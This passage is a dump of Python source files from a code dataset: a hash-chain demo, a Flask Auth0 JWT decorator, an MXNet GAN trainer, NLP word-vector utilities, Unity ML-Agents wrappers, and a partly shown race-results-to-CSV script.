+{"seq_id":"157344000","text":"# A series of blocks of data created in sequential order with hash of the previous block contained.\n\nimport hashlib\nimport json\n    \nblock_0 = {\n    'block_data': 'This is the first bl0ck. The Time 14/Jan/19 Rebels hatch bill to delay Brexit.',\n    'hash_of_previous_block': None\n}\n\nblock_0_serialised = json.dumps(block_0, sort_keys=True).encode('utf-8')\nblock_0_hash = hashlib.sha256(block_0_serialised).hexdigest()\n\nprint(block_0_serialised)\nprint(block_0_hash)\n\nblock_1 = {\n    'hash_of_previous_block': block_0_hash,\n    'block_data': [\"This is the second block.\",42]\n}\n\nblock_1_serialised = json.dumps(block_1, sort_keys=True).encode('utf-8')\nblock_1_hash = hashlib.sha256(block_1_serialised).hexdigest()\n\nprint(block_1_serialised)\nprint(block_1_hash)\n\nblock_2 = {\n    'hash_of_previous_block': block_1_hash,\n    'block_data': [\"This is the third block.\",{'Number':42, 'Size':'XXL'}]\n}\n\nblock_2_serialised = json.dumps(block_2, sort_keys=True).encode('utf-8')\nblock_2_hash = hashlib.sha256(block_2_serialised).hexdigest()\n\nprint(block_2_serialised)\nprint(block_2_hash)\n\n\n","sub_path":"hashlist.py","file_name":"hashlist.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"258938964","text":"import json\nfrom flask import request, _request_ctx_stack\nfrom flask_sqlalchemy import SQLAlchemy\nfrom functools import wraps\nfrom jose import jwt\nfrom urllib.request import urlopen\nimport logging\nfrom logging import FileHandler, Formatter\nimport app\nimport models\n\n\nAUTH0_DOMAIN = 'mehady.auth0.com'\nALGORITHMS = ['RS256']\nAPI_AUDIENCE = 'api'\nCLIENT_ID = 'jl3D74xQKrZUfdaCPZhkNZWHaD3F0jiy'\n\n# Set up logging\n\nlogging.basicConfig(filename='error.log', level=logging.INFO,\n                    format='%(asctime)s %(levelname)s: %(message)s')\n\n# AuthError Exception\n'''\nAuthError Exception\nA standardized way to communicate auth failure modes\n'''\n\n\nclass AuthError(Exception):\n\n    def __init__(self, error, status_code):\n        self.error = error\n        self.status_code = status_code\n\n\n# Auth Header\n\n'''\nGet Auth Token Header. Split bearer and token\n\nReturns: Token from header\n\nRaises an AuthError if no header is present\nRaise an AuthError if the header is malformed\n'''\n\n\ndef get_token_auth_header():\n    auth = request.headers.get('Authorization', None)\n\n    if not auth:\n        logging.info('Authorization header is missing')\n        raise AuthError('Authorization header is missing', 401)\n\n    parts = auth.split()\n\n    if len(parts) != 2:\n        logging.info('Invalid Header - 2 parts not detected')\n        raise AuthError('Invalid Header - 2 parts not detected', 401)\n    elif parts[0].lower() != 'bearer':\n        logging.info('Invalid Header - Must start with bearer')\n        raise AuthError('Invalid Header - Must start with bearer', 401)\n\n    return parts[1]\n\n\n'''\nCheck permissions(permission, payload) method\nInputs:\n    Permission: string permission (i.e. 'post:drink')\n    Payload: decoded jwt payload\n\nReturns: If success, true\n\nRaise an AuthError if permissions are not included in the payload\nRaise an AuthError if the requested permission string is not in the payload\n'''\n\n\ndef check_permissions(permission, payload):\n    if 'permissions' not in payload:\n        logging.info('Invalid Header - Permissions not in payload/JWT')\n        raise AuthError('Invalid Header - Permissions not in payload/JWT', 400)\n\n    if permission not in payload['permissions']:\n        logging.info('Unauthorized')\n        raise AuthError('Unauthorized', 401)\n\n\n'''\nVerify Decode JWT\nInputs: Json web token (string)\n\nValidates Auth0 token with key id and using /.well-known/jwks.json\n\nReturns: Decoded payload\n\nRaise an AuthError if token is expired\nRaise an AuthError is invalid claims\nRaise an AuthError if kid isn't in header\n'''\n\n\ndef verify_decode_jwt(token):\n    jsonurl = urlopen(f'https://{AUTH0_DOMAIN}/.well-known/jwks.json')\n    json_web_key = json.loads(jsonurl.read())\n    unverified_header = jwt.get_unverified_header(token)\n    rsa_key = {}\n\n    if 'kid' not in unverified_header:\n        logging.info('Invalid Header - Kid not in header')\n        raise AuthError('Invalid Header - Kid not in header', 401)\n\n    for key in json_web_key['keys']:\n        if key['kid'] == unverified_header['kid']:\n            rsa_key = {\n                'kty': key['kty'],\n                'kid': key['kid'],\n                'use': key['use'],\n                'n': key['n'],\n                'e': key['e']\n            }\n\n    if rsa_key:\n        try:\n            payload = jwt.decode(token,\n                                 rsa_key,\n                                 algorithms=ALGORITHMS,\n                                 audience=API_AUDIENCE,\n                                 issuer=f'https://{AUTH0_DOMAIN}/')\n            return payload\n\n        except jwt.ExpiredSignatureError:\n            logging.info('Token Expired')\n            raise AuthError('Token Expired', 401)\n\n        except jwt.JWTClaimsError:\n            logging.info('Invalid Claims')\n            raise AuthError('Invalid Claims', 401)\n\n        except Exception:\n            logging.info('Invalid Header - Exception Found')\n            raise AuthError('Invalid Header - Exception Found', 400)\n    logging.info('Invalid Header - Unable to decode jwt')\n    raise AuthError('Invalid Header - Unable to decode jwt', 400)\n\n\n'''\nRequires Auth decorator method\n\nInputs: string permission (i.e. 'post:drink')\n\nReturns: Decorator which passes the decoded payload to the decorated method\n\nUse the get_token_auth_header method to get the token\nUse the verify_decode_jwt method to decode the jwt\nUse the check_permissions method to check the requested permission\n'''\n\n\ndef requires_auth(permission=''):\n    def requires_auth_decorator(f):\n        @wraps(f)\n        def wrapper(*args, **kwargs):\n            token = get_token_auth_header()\n            payload = verify_decode_jwt(token)\n            check_permissions(permission, payload)\n            return f(payload, *args, **kwargs)\n\n        return wrapper\n    return requires_auth_decorator\n","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"550955276","text":"import find_mxnet\nimport logging\nimport numpy as np\nimport mxnet as mx\nimport sys\n\nsys.path.append(\"..\")\n\nfrom mxgan import module, generator, encoder, viz\n\ndef ferr(label, pred):\n    pred = pred.ravel()\n    label = label.ravel()\n    return np.abs(label - (pred > 0.5)).sum() / label.shape[0]\n\nngf= 64\nlr = 0.0003\nbeta1 = 0.5\nbatch_size = 100\nrand_shape = (batch_size, 100)\nnum_epoch = 100\ndata_shape = (batch_size, 3, 32, 32)\ncontext = mx.cpu()\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s %(message)s')\nsym_gen = generator.dcgan32x32(oshape=data_shape, ngf=ngf, final_act=\"tanh\")\nsym_dec = encoder.dcgan(ngf=ngf / 2)\ngmod = module.GANModule(\n    sym_gen,\n    sym_dec,\n    context=context,\n    data_shape=data_shape,\n    code_shape=rand_shape)\n\ngmod.modG.init_params(mx.init.Normal(0.05))\ngmod.modD.init_params(mx.init.Xavier(factor_type=\"in\", magnitude=2.34))\n\ngmod.init_optimizer(\n    optimizer=\"adam\",\n    optimizer_params={\n        \"learning_rate\": lr,\n        \"wd\": 0.,\n        \"beta1\": beta1,\n})\n\ndata_dir = './../../example/image-classification/cifar10/'\ntrain = mx.io.ImageRecordIter(\n    path_imgrec = data_dir + \"train.rec\",\n    data_shape = data_shape[1:],\n    batch_size = batch_size,\n    shuffle=True)\n\nmetric_acc = mx.metric.CustomMetric(ferr)\n\nfor epoch in range(num_epoch):\n    train.reset()\n    metric_acc.reset()\n    for t, batch in enumerate(train):\n        batch.data[0] = batch.data[0] * (1.0 / 255.0) - 0.5\n        gmod.update(batch)\n        gmod.temp_label[:] = 0.0\n        metric_acc.update([gmod.temp_label], gmod.outputs_fake)\n        gmod.temp_label[:] = 1.0\n        metric_acc.update([gmod.temp_label], gmod.outputs_real)\n\n        if t % 50 == 0:\n            logging.info(\"epoch: %d, iter %d, metric=%s\", epoch, t, metric_acc.get())\n            viz.imshow(\"gout\", gmod.temp_outG[0].asnumpy() + 0.5 , 2, flip=True)\n            diff = gmod.temp_diffD[0].asnumpy()\n            diff = (diff - diff.mean()) / diff.std() + 0.5\n            viz.imshow(\"diff\", diff, flip=True)\n            viz.imshow(\"data\", batch.data[0].asnumpy() + 0.5, 2, flip=True)\n","sub_path":"example/gan/gan_cifar10.py","file_name":"gan_cifar10.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"201353176","text":"import numpy as np\n\n\ndef preprocess(text):\n    text = text.lower()\n    text = text.replace('.', ' .')\n    words = text.split(' ')\n\n    word_to_id = {}\n    id_to_word = {}\n    for word in words:\n        if word not in word_to_id:\n            new_id = len(word_to_id)\n            word_to_id[word] = new_id\n            id_to_word[new_id] = word\n\n    corpus = np.array([word_to_id[w] for w in words])\n\n    return corpus, word_to_id, id_to_word\n\n\ndef create_co_matrix(corpus, vocab_size, window_size=1):\n    corpus_size = len(corpus)\n    co_matrix = np.zeros((vocab_size, vocab_size), dtype=np.int32)\n\n    for idx, word_id in enumerate(corpus):\n        for i in range(1, window_size + 1):\n            left_idx = idx - i\n            right_idx = idx + i\n\n            if left_idx >= 0:\n                left_word_id = corpus[left_idx]\n                co_matrix[word_id, left_word_id] += 1\n\n            if right_idx < corpus_size:\n                right_word_id = corpus[right_idx]\n                co_matrix[word_id, right_word_id] += 1\n\n    return co_matrix\n\n\ndef cos_similarity(x, y, eps=1e-8):\n    nx = x / (np.sqrt(np.sum(x ** 2)) + eps)\n    ny = y / (np.sqrt(np.sum(y ** 2)) + eps)\n    return np.dot(nx, ny)\n\n\ndef most_similar(query, word_to_id, id_to_word, word_matrix, top=5):\n    # 取出查询词\n    if query not in word_to_id:\n        print(f'{query} is not found')\n        return\n    print(f'\\n[query] {query}')\n    query_id = word_to_id[query]\n    query_vec = word_matrix[query_id]\n\n    # 计算余弦相似度\n    vocab_size = len(word_to_id)\n    similarity = np.zeros(vocab_size)\n    for i in range(vocab_size):\n        similarity[i] = cos_similarity(word_matrix[i], query_vec)\n\n    # 基于余弦相似度，按降序输出值\n    count = 0\n    for i in (-1 * similarity).argsort():\n        if id_to_word[i] == query:\n            continue\n        print(f'{id_to_word[i]}: {similarity[i]}')\n\n        count += 1\n        if count >= top:\n            return\n\n\ndef ppmi(C, verbose=False, eps=1e-8):\n    M = np.zeros_like(C, dtype=np.float32)\n    N = np.sum(C)\n    S = np.sum(C, axis=0)\n    total = C.shape[0] * C.shape[1]\n    cnt = 0\n\n    for i in range(C.shape[0]):\n        for j in range(C.shape[1]):\n            pmi = np.log2(C[i, j] * N / (S[j] * S[i]) + eps)\n            M[i, j] = max(0, pmi)\n\n            if verbose:\n                cnt += 1\n                if cnt % (total//100+1) == 0:\n                    print(f'{round(100*cnt/total, 1)}% has done')\n\n    return M\n\n\nif __name__ == '__main__':\n    text = \"You say goodbye and I say hello.\"\n    corpus, word_to_id, id_to_word = preprocess(text)\n    vocab_size = len(word_to_id)\n    C = create_co_matrix(corpus, vocab_size)\n    c0 = C[word_to_id['you']]  # you的单词向量\n    c1 = C[word_to_id['i']]   # i的单词向量\n    print(corpus)\n    print(word_to_id)\n    print(id_to_word)\n    print(\"co_matrix:\")\n    print(C)\n    print(cos_similarity(c0, c1))\n\n    most_similar('you', word_to_id, id_to_word, C, top=5)\n    ppmi = ppmi(C)\n    np.set_printoptions(precision=3)\n    print(\"PPMI\")\n    print(ppmi)\n\n    # svd\n    U, S, V = np.linalg.svd(ppmi)\n    print(U)\n    print('*'*50)\n    print(U[0, :2])\n\n    import matplotlib.pyplot as plt\n    import sys\n    for word, word_id in word_to_id.items():\n        plt.annotate(word, (U[word_id, 0], U[word_id, 1]))\n\n    plt.scatter(U[:, 0], U[:, 1], alpha=0.5)\n    plt.show()\n\n\n\n","sub_path":"nlp_fishbook/common/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"153540302","text":"#!/usr/bin/env python3\r\n# encoding: utf-8\r\n\r\nimport os\r\nimport numpy as np\r\n\r\nfrom copy import deepcopy\r\nfrom collections import deque\r\nfrom mlagents_envs.environment import UnityEnvironment\r\nfrom mlagents_envs.side_channel.engine_configuration_channel import EngineConfigurationChannel\r\nfrom mlagents_envs.side_channel.environment_parameters_channel import EnvironmentParametersChannel\r\n\r\nfrom rls.utils.logging_utils import get_logger\r\nfrom rls.utils.display import colorize\r\nlogger = get_logger(__name__)\r\n\r\ntry:\r\n    import cv2\r\n    cv2.ocl.setUseOpenCL(False)\r\nexcept:\r\n    logger.warning(colorize('opencv-python is needed to train visual-based model.', color='yellow'))\r\n    pass\r\n\r\nfrom rls.common.yaml_ops import load_yaml\r\nfrom rls.utils.np_utils import int2action_index\r\nfrom rls.utils.indexs import (SingleAgentEnvArgs,\r\n                              MultiAgentEnvArgs)\r\n\r\n# obs: [\r\n#     brain1: [\r\n#         agent1: [],\r\n#         agent2: [],\r\n#         ...\r\n#         agentn: []\r\n#     ],\r\n#     brain2: [\r\n#         agent1: [],\r\n#         agent2: [],\r\n#         ...\r\n#         agentn: []\r\n#     ],\r\n#     ...\r\n#     brainn: [\r\n#         agent1: [],\r\n#         agent2: [],\r\n#         ...\r\n#         agentn: []\r\n#     ],\r\n# ]\r\n\r\n# =>\r\n\r\n# obs: [\r\n#     brain1: [\r\n#         agent1: n*[],\r\n#         agent2: n*[],\r\n#         ...\r\n#         agentn: n*[]\r\n#     ],\r\n#     brain2: [\r\n#         agent1: n*[],\r\n#         agent2: n*[],\r\n#         ...\r\n#         agentn: n*[]\r\n#     ],\r\n#     ...\r\n#     brainn: [\r\n#         agent1: n*[]\r\n#         agent2: n*[]\r\n#         ...\r\n#         agentn: n*[]\r\n#     ],\r\n# ]\r\n\r\n\r\nclass UnityWrapper(object):\r\n\r\n    def __init__(self, env_args):\r\n        self.engine_configuration_channel = EngineConfigurationChannel()\r\n        if env_args['train_mode']:\r\n            self.engine_configuration_channel.set_configuration_parameters(time_scale=env_args['train_time_scale'])\r\n        else:\r\n            self.engine_configuration_channel.set_configuration_parameters(width=env_args['width'],\r\n                                                                           height=env_args['height'],\r\n                                                                           quality_level=env_args['quality_level'],\r\n                                                                           time_scale=env_args['inference_time_scale'],\r\n                                                                           target_frame_rate=env_args['target_frame_rate'])\r\n        self.float_properties_channel = EnvironmentParametersChannel()\r\n        if env_args['file_path'] is None:\r\n            self._env = UnityEnvironment(base_port=5004,\r\n                                         seed=env_args['env_seed'],\r\n                                         side_channels=[self.engine_configuration_channel, self.float_properties_channel])\r\n        else:\r\n            unity_env_dict = load_yaml('/'.join([os.getcwd(), 'rls', 'envs', 'unity_env_dict.yaml']))\r\n            self._env = UnityEnvironment(file_name=env_args['file_path'],\r\n                                         base_port=env_args['port'],\r\n                                         no_graphics=not env_args['render'],\r\n                                         seed=env_args['env_seed'],\r\n                                         side_channels=[self.engine_configuration_channel, self.float_properties_channel],\r\n                                         additional_args=[\r\n                                             '--scene', str(unity_env_dict.get(env_args.get('env_name', 'Roller'), 'None')),\r\n                                             '--n_agents', str(env_args.get('env_num', 1))\r\n            ])\r\n        self.reset_config = env_args['reset_config']\r\n\r\n    def reset(self, **kwargs):\r\n        reset_config = kwargs.get('reset_config', None) or self.reset_config\r\n        for k, v in reset_config.items():\r\n            self.float_properties_channel.set_float_parameter(k, v)\r\n        self._env.reset()\r\n\r\n    def __getattr__(self, name):\r\n        if name.startswith('_'):\r\n            raise AttributeError(\"attempted to get missing private attribute '{}'\".format(name))\r\n        return getattr(self._env, name)\r\n\r\n\r\nclass BasicWrapper:\r\n    def __init__(self, env: UnityWrapper):\r\n        self._env = env\r\n        self._env.reset()\r\n\r\n    def __getattr__(self, name):\r\n        if name.startswith('_'):\r\n            raise AttributeError(\"attempted to get missing private attribute '{}'\".format(name))\r\n        return getattr(self._env, name)\r\n\r\n    def process_visual_obs(self, image):\r\n        return image\r\n\r\n\r\nclass InfoWrapper(BasicWrapper):\r\n    def __init__(self, env, env_args):\r\n        super().__init__(env)\r\n        self.group_names = list(self._env.behavior_specs.keys())  # 所有脑的名字列表\r\n        self.fixed_group_names = list(map(lambda x: x.replace('?', '_'), self.group_names))\r\n        self.group_specs = [self._env.behavior_specs[g] for g in self.group_names]  # 所有脑的信息\r\n        self.vector_idxs = [[i for i, g in enumerate(spec.observation_shapes) if len(g) == 1] for spec in self.group_specs]   # 得到所有脑 观测值为向量的下标\r\n        self.vector_dims = [[g[0] for g in spec.observation_shapes if len(g) == 1] for spec in self.group_specs]  # 得到所有脑 观测值为向量的维度\r\n        self.visual_idxs = [[i for i, g in enumerate(spec.observation_shapes) if len(g) == 3] for spec in self.group_specs]   # 得到所有脑 观测值为图像的下标\r\n        self.group_num = len(self.group_names)\r\n\r\n        self.visual_sources = [len(v) for v in self.visual_idxs]\r\n        self.visual_resolutions = []\r\n        for spec in self.group_specs:\r\n            for g in spec.observation_shapes:\r\n                if len(g) == 3:\r\n                    self.visual_resolutions.append(list(g))\r\n                    break\r\n            else:\r\n                self.visual_resolutions.append([])\r\n\r\n        self.s_dim = [sum(v) for v in self.vector_dims]\r\n        self.a_dim = [int(np.asarray(spec.action_shape).prod()) for spec in self.group_specs]\r\n        self.discrete_action_dim_list = [spec.action_shape for spec in self.group_specs]\r\n        self.a_size = [spec.action_size for spec in self.group_specs]\r\n        self.is_continuous = [spec.is_action_continuous() for spec in self.group_specs]\r\n\r\n        self.group_agents = self.get_real_agent_numbers()  # 得到每个环境控制几个智能体\r\n\r\n    def initialize(self):\r\n        if all('#' in name for name in self.group_names):\r\n            # use for multi-agents\r\n            self.group_controls = list(map(lambda x: int(x.split('#')[0]), self.group_names))\r\n            self.env_copys = self.group_agents[0] // self.group_controls[0]\r\n            self.EnvSpec = MultiAgentEnvArgs(\r\n                s_dim=self.s_dim,\r\n                a_dim=self.a_dim,\r\n                visual_sources=self.visual_sources,\r\n                visual_resolutions=self.visual_resolutions,\r\n                is_continuous=self.is_continuous,\r\n                n_agents=self.group_agents,\r\n                group_controls=self.group_controls\r\n            )\r\n        else:\r\n            self.EnvSpec = [\r\n                SingleAgentEnvArgs(\r\n                    s_dim=self.s_dim[i],\r\n                    a_dim=self.a_dim[i],\r\n                    visual_sources=self.visual_sources[i],\r\n                    visual_resolutions=self.visual_resolutions[i],\r\n                    is_continuous=self.is_continuous[i],\r\n                    n_agents=self.group_agents[i]\r\n                ) for i in range(self.group_num)]\r\n\r\n    def random_action(self):\r\n        '''\r\n        choose random action for each group and each agent.\r\n        continuous: [-1, 1]\r\n        discrete: [0-max, 0-max, ...] i.e. action dim = [2, 3] => action range from [0, 0] to [1, 2].\r\n        '''\r\n        actions = []\r\n        for i in range(self.group_num):\r\n            if self.is_continuous[i]:\r\n                actions.append(np.random.random((self.group_agents[i], self.a_dim[i])) * 2 - 1)  # [-1, 1]\r\n            else:\r\n                actions.append(np.random.randint(self.a_dim[i], size=(self.group_agents[i],), dtype=np.int32))\r\n        return actions\r\n\r\n    def get_real_agent_numbers(self):\r\n        group_agents = [0] * self.group_num\r\n        for _ in range(10):  # 10 step\r\n            for i, gn in enumerate(self.group_names):\r\n                d, t = self._env.get_steps(gn)\r\n                group_agents[i] = max(group_agents[i], len(d.agent_id))\r\n                group_spec = self.group_specs[i]\r\n                if group_spec.is_action_continuous():\r\n                    action = np.random.randn(len(d), group_spec.action_size)\r\n                else:\r\n                    branch_size = group_spec.discrete_action_branches\r\n                    action = np.column_stack([\r\n                        np.random.randint(0, branch_size[j], size=(len(d)))\r\n                        for j in range(len(branch_size))\r\n                    ])\r\n                self._env.set_actions(gn, action)\r\n            self._env.step()\r\n        return group_agents\r\n\r\n\r\nclass GrayVisualWrapper(BasicWrapper):\r\n\r\n    def __init__(self, env):\r\n        super().__init__(env)\r\n        for v in self.visual_resolutions:\r\n            if v:\r\n                if v[-1] > 3:\r\n                    raise Exception('visual observations have been stacked in unity environment and number > 3. You cannot sepecify gray in python.')\r\n                v[-1] = 1\r\n\r\n    def process_visual_obs(self, image):\r\n        image = self._env.process_visual_obs(image)\r\n        image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\r\n        return image\r\n\r\n\r\nclass ResizeVisualWrapper(BasicWrapper):\r\n\r\n    def __init__(self, env, resize=[84, 84]):\r\n        super().__init__(env)\r\n        self.resize = resize\r\n        for v in self.visual_resolutions:\r\n            if v:\r\n                v[0], v[1] = resize[0], resize[1]\r\n\r\n    def process_visual_obs(self, image):\r\n        image = self._env.process_visual_obs(image)\r\n        image = cv2.resize(image, tuple(self.resize), interpolation=cv2.INTER_AREA).reshape(list(self.resize) + [-1])\r\n        return image\r\n\r\n\r\nclass ScaleVisualWrapper(BasicWrapper):\r\n\r\n    def __init__(self, env):\r\n        super().__init__(env)\r\n\r\n    def process_visual_obs(self, image):\r\n        image = self._env.process_visual_obs(image)\r\n        image *= 255\r\n        return image.astype(np.uint8)\r\n\r\n\r\nclass UnityReturnWrapper(BasicWrapper):\r\n    def __init__(self, env):\r\n        super().__init__(env)\r\n\r\n    def reset(self, **kwargs):\r\n        self._env.reset(**kwargs)\r\n        return self.get_obs()\r\n\r\n    def step(self, actions):\r\n        for k, v in actions.items():\r\n            self._env.set_actions(k, v)\r\n        self._env.step()\r\n        return self.get_obs()\r\n\r\n    def get_obs(self):\r\n        '''\r\n        解析环境反馈的信息，将反馈信息分为四部分：向量、图像、奖励、done信号\r\n        '''\r\n        vector = []\r\n        visual = []\r\n        reward = []\r\n        done = []\r\n        info = []\r\n        corrected_vector = []\r\n        corrected_visual = []\r\n        for i, gn in enumerate(self.group_names):\r\n            vec, vis, r, d, ifo, corrected_vec, corrected_vis = self.coordinate_information(i, gn)\r\n            vector.append(vec)\r\n            visual.append(vis)\r\n            reward.append(r)\r\n            done.append(d)\r\n            info.append(ifo)\r\n            corrected_vector.append(corrected_vec)\r\n            corrected_visual.append(corrected_vis)\r\n        return (vector, visual, reward, done, info, corrected_vector, corrected_visual)\r\n\r\n    def coordinate_information(self, i, gn):\r\n        '''\r\n        TODO: Annotation\r\n        '''\r\n        n = self.group_agents[i]\r\n        ps = []\r\n        d, t = self._env.get_steps(gn)\r\n        if len(t):\r\n            ps.append(t)\r\n\r\n        if len(d) != 0 and len(d) != n:\r\n            raise ValueError(f'agents number error. Expected 0 or {n}, received {len(d)}')\r\n\r\n        # some of environments done, but some of not\r\n        while len(d) != n:\r\n            self._env.step()\r\n            d, t = self._env.get_steps(gn)\r\n            if len(t):\r\n                ps.append(t)\r\n\r\n        corrected_obs, reward = d.obs, d.reward\r\n        obs = deepcopy(corrected_obs)  # corrected_obs应包含正确的用于决策动作的下一状态\r\n        done = np.full(n, False)\r\n        info = dict(max_step=np.full(n, False), real_done=np.full(n, False))\r\n\r\n        for t in ps:    # TODO: 有待优化\r\n            info['max_step'][t.agent_id] = t.interrupted    # 因为达到episode最大步数而终止的\r\n            info['real_done'][t.agent_id[~t.interrupted]] = True  # 去掉因为max_step而done的，只记录因为失败/成功而done的\r\n            reward[t.agent_id] = t.reward\r\n            done[t.agent_id] = True\r\n            # zip: vector, visual, ...\r\n            for _obs, _tobs in zip(obs, t.obs):\r\n                _obs[t.agent_id] = _tobs\r\n\r\n        return (self.deal_vector(n, [obs[vi] for vi in self.vector_idxs[i]]),\r\n                self.deal_visual(n, [obs[vi] for vi in self.visual_idxs[i]]),\r\n                np.asarray(reward),\r\n                np.asarray(done),\r\n                info,\r\n                self.deal_vector(n, [corrected_obs[vi] for vi in self.vector_idxs[i]]),\r\n                self.deal_visual(n, [corrected_obs[vi] for vi in self.visual_idxs[i]]))\r\n\r\n    def deal_vector(self, n, vecs):\r\n        '''\r\n        把向量观测信息 按每个智能体 拼接起来\r\n        '''\r\n        if len(vecs):\r\n            return np.hstack(vecs)\r\n        else:\r\n            return np.array([]).reshape(n, -1)\r\n\r\n    def deal_visual(self, n, viss):\r\n        '''\r\n        viss : [camera1, camera2, camera3, ...]\r\n        把图像观测信息 按每个智能体 组合起来\r\n        '''\r\n        ss = []\r\n        for j in range(n):\r\n            # 第j个智能体\r\n            s = []\r\n            for v in viss:\r\n                s.append(self._env.process_visual_obs(v[j]))\r\n            ss.append(np.array(s))  # [agent1(camera1, camera2, camera3, ...), ...]\r\n        return np.array(ss)  # [B, N, (H, W, C)]\r\n\r\n\r\nclass StackVisualWrapper(BasicWrapper):\r\n\r\n    def __init__(self, env, stack_nums=4):\r\n        super().__init__(env)\r\n        self._stack_nums = stack_nums\r\n        self._stack_deque = {gn: deque([], maxlen=self._stack_nums) for gn in self.group_names}\r\n        self._stack_deque_corrected = {gn: deque([], maxlen=self._stack_nums) for gn in self.group_names}\r\n        for v in self.visual_resolutions:\r\n            if v:\r\n                if v[-1] > 3:\r\n                    raise Exception('visual observations have been stacked in unity environment. You cannot sepecify stack in python.')\r\n                v[-1] *= stack_nums\r\n\r\n    def reset(self, **kwargs):\r\n        vector, visual, reward, done, info, corrected_vector, corrected_visual = self._env.reset(**kwargs)\r\n        for i, gn in enumerate(self.group_names):\r\n            for _ in range(self._stack_nums):\r\n                self._stack_deque[gn].append(visual[i])\r\n                self._stack_deque_corrected[gn].append(corrected_visual[i])\r\n            visual[i] = np.concatenate(self._stack_deque[gn], axis=-1)\r\n            corrected_visual[i] = np.concatenate(self._stack_deque_corrected[gn], axis=-1)\r\n        return (vector, visual, reward, done, info, corrected_vector, corrected_visual)\r\n\r\n    def step(self, actions):\r\n        vector, visual, reward, done, info, corrected_vector, corrected_visual = self._env.step(actions)\r\n        for i, gn in enumerate(self.group_names):\r\n            self._stack_deque[gn].append(visual[i])\r\n            self._stack_deque_corrected[gn].append(corrected_visual[i])\r\n        visual[i] = np.concatenate(self._stack_deque[gn], axis=-1)\r\n        corrected_visual[i] = np.concatenate(self._stack_deque_corrected[gn], axis=-1)\r\n        return (vector, visual, reward, done, info, corrected_vector, corrected_visual)\r\n\r\n\r\nclass ActionWrapper(BasicWrapper):\r\n\r\n    def __init__(self, env):\r\n        super().__init__(env)\r\n\r\n    def step(self, actions):\r\n        actions = deepcopy(actions)\r\n        for i, k in enumerate(actions.keys()):\r\n            if self.is_continuous[i]:\r\n                pass\r\n            else:\r\n                actions[k] = int2action_index(actions[k], self.discrete_action_dim_list[i])\r\n        return self._env.step(actions)\r\n","sub_path":"rls/envs/unity_wrapper/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":16427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"500918738","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\running\\competitor2csv.py\n# Compiled at: 2020-02-26 14:50:54\n# Size of source mod 2**32: 5644 bytes\n\"\"\"\ngetmembers-competitor - get members who ran competitor race (e.g., Rock 'n' Roll Marathon)\n==============================================================================================\n\nUsage::\n\n    TBA\n\"\"\"\nimport csv, argparse\nfrom string import maketrans\nfrom collections import OrderedDict\nfrom running.running import version\nfrom .competitor import Competitor\ncompetitor2raceresult = OrderedDict([\n ('oaplace', 'place'),\n ('name', 'name'),\n ('genplace', 'gender place'),\n ('divplace', 'division place'),\n ('age', 'age'),\n ('gender', 'gender'),\n ('hometown', 'hometown'),\n ('racetime', 'time'),\n ('racedate', 'race date'),\n ('raceloc', 'race location'),\n ('racename', 'race name'),\n ('distmiles', 'miles'),\n ('distkm', 'km')])\n\ndef getcompetitorrace(outfile, eventid, eventinstanceid, singleeventid, limit=None):\n    \"\"\"\n    create file for competitor race based on eventid, eventinstanceid, singleeventid\n    \n    :param outfile: base filename for output file, event and distance are appended to name\n    :param eventid: event id from running.competitor.com\n    :param eventinstanceid: event instance id from running.competitor.com\n    :param singleeventid: single event id from running.competitor.com\n    :param limit: limit number of records (for testing only)\n    \n    :rtype: name of file which was created\n    \"\"\"\n    cc = Competitor()\n    cc.setraceyear(eventid, eventinstanceid, singleeventid)\n    results = cc.getresults(limit)\n    racename = str(results[0].racename)\n    dist = '{:.1f}'.format(results[0].distmiles)\n    if dist == 13.1:\n        dist = 'halfmarathon'\n    else:\n        if dist == 26.2:\n            dist = 'marathon'\n        else:\n            dist = '{}miles'.format(dist)\n    transtab = maketrans(' \\'\"', '-xx')\n    tracename = racename.translate(transtab)\n    outfilename = '{}-{}-{}.csv'.format(outfile, tracename, dist)\n    RS_ = open(outfilename, 'w', newline='')\n    RS = csv.DictWriter(RS_, list(competitor2raceresult.values()))\n    RS.writeheader()\n    for result in results:\n        filerow = {}\n        for attr in result.attrs:\n            filerow[competitor2raceresult[attr]] = getattr(result, attr)\n\n        RS.writerow(filerow)\n\n    RS_.close()\n    return outfilename\n\n\ndef getcompetitor(outfile):\n    \"\"\"\n    put competitor results into csv file per race\n    \n    :param outfile: base of output file name for competitor files\n    \n    :rtype: list containing names of files which were created\n    \"\"\"\n    resultfiles = []\n    thisfile = getcompetitorrace(outfile, 54, 227, 797)\n    resultfiles.append(thisfile)\n    thisfile = getcompetitorrace(outfile, 54, 227, 791)\n    resultfiles.append(thisfile)\n    return resultfiles\n\n\ndef main():\n    parser = argparse.ArgumentParser(version=('running {0}'.format(version.__version__)))\n    parser.add_argument('outfile', help='base name for output file')\n    parser.add_argument('-e', '--eventid', help='eventid for competitor.com', type=int, default=None)\n    parser.add_argument('-i', '--instanceid', help='event instance for competitor.com (which year)', type=int, default=None)\n    parser.add_argument('-s', '--singleeventid', help='single eventid for competitor.com (which distance)', type=int, default=None)\n    parser.add_argument('-l', '--limit', help='limit number of records (for testing only)', type=int, default=None)\n    args = parser.parse_args()\n    outfile = args.outfile\n    eventid = args.eventid\n    instanceid = args.instanceid\n    singleeventid = args.singleeventid\n    limit = args.limit\n    resultfile = getcompetitorrace(outfile, eventid, instanceid, singleeventid, limit)\n    print('generated {}'.format(resultfile))\n\n\nif __name__ == '__main__':\n    